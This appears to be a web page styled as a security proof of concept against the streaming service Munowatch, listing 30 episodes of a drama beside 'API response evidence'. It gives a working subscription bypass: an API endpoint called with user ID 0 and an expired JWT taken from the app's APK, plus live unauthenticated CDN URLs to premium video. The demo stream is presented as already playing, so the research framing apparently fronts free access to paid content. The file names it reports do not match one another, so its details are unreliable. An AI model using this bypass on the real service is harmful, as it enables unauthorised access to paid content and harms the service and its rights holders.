SECURITY PoC — NO AUTH
CDN bypass demo: stream served without an auth header
Zhong Kui 6 — Episodes (30 of 30)
EP 1Zhong Kui
EP 2Zhong Kui 2
EP 3Zhong Kui 3
EP 4Zhong Kui 4
EP 5Zhong Kui 5
EP 6Zhong Kui 6
EP 7Zhong Kui 7
EP 8Zhong Kui 8
EP 9Zhong Kui 9
EP 10Zhong Kui 10
EP 11Zhong Kui 11
EP 12Zhong Kui 12
EP 13Zhong Kui 13
EP 14Zhong Kui 14
EP 15Zhong Kui 15
EP 16Zhong Kui 16
EP 17Zhong Kui 17
EP 18Zhong Kui 18
EP 19Zhong Kui 19
EP 20Zhong Kui 20
EP 21Zhong Kui 21
EP 22Zhong Kui 22
EP 23Zhong Kui 23
EP 24Zhong Kui 24
EP 25Zhong Kui 25
EP 26Zhong Kui 26
EP 27Zhong Kui 27
EP 28Zhong Kui 28
EP 29Zhong Kui 29
EP 30Zhong Kui 30
CDN bypass demonstration
The API returned
playingUrl for Zhong Kui 6
with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with
zero authentication.
Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed
API response evidence
Endpoint called
GET /api/preview/v2/60179/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
69
video_name
Zhong Kui Episode 6.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN demo stream
https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).